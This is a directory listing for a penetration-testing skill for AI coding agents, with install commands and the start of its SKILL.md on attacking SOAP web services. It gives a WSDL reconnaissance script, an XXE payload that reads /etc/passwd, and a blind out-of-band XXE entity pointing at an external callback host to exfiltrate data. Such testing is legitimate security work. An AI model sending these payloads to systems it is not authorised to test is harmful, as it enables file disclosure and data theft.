# Soap API Security

SOAP web service security testing, WSDL analysis, XXE and XML injection, SOAPAction...

- Repository: https://github.com/xalgorix/xalgorix (1285 stars)
- Category: Testing
- License: Apache-2.0
- Last updated: 2026-10-30
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add xalgorix/xalgorix --skill soap-api-security -g -a claude-code -y`
Codex: `npx skills add xalgorix/xalgorix --skill soap-api-security -g -a codex -y`
Cursor: `npx skills add xalgorix/xalgorix --skill soap-api-security -g -a cursor -y`
Gemini CLI: `npx skills add xalgorix/xalgorix --skill soap-api-security -g -a gemini-cli -y`

## Description

SOAP web service security testing, WSDL analysis, XXE and XML injection, SOAPAction spoofing, WS-Security bypass, XPath injection, and entity-expansion abuse with fault-and-data differential evidence

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# SOAP Web Service Security Testing

## Purpose
Exploit SOAP services: XML attacks through the envelope (XXE, XPath/XSLT injection, entity expansion), operation routing confusion (SOAPAction spoofing), and WS-Security implementation failures.

## Preconditions
- Service endpoint URL and WSDL access (append `?wsdl` to typical service paths)
- SOAP client tooling: curl with crafted envelopes, Python requests, SoapUI (optional)
- Understanding of the SOAP version (1.1 vs 1.2) in use (affects headers)

## Attack Surface Signals
- WSDL disclosures with full operation/parameter schemas
- `Content-Type: text/xml` / `application/soap+xml` endpoints
- SOAPAction headers, WS-Security UsernameTokens, SAML assertions in headers
- Legacy enterprise, financial, healthcare, and integration services

## Methodology

### Step 1: WSDL Reconnaissance
```bash
curl -sk "https://TARGET/service?wsdl" > tmp/service.wsdl
# Extract operations, parameters, and namespaces
grep -o 'name="[^"]*"' tmp/service.wsdl | sort -u
python3 - <<'PY'
import re
wsdl = open('tmp/service.wsdl').read()
for op in re.findall(r'<wsdl:operation name="([^"]+)"', wsdl):
    print(op)
PY
```
The WSDL enumerates every operation including undocumented internal ones. Do not re-enumerate the surface here, consume reconnaissance output.

### Step 2: XXE
```xml
<!-- Classic file read -->
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body><op><param>&xxe;</param></op></soap:Body>
</soap:Envelope>
<!-- Blind OOB when output is suppressed -->
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "https://OOB.oast.pro/x.dtd"> %dtd;]>
```
Confirmed by file contents in the response or an OOB callback with the exfiltrated data, never by parse errors alone. Test every operation and every XML parameter, plus headers that reach the parser.

The rest: https://github.com/xalgorix/xalgorix/blob/HEAD/internal/tools/skills/data/api-security/soap-api-security/SKILL.md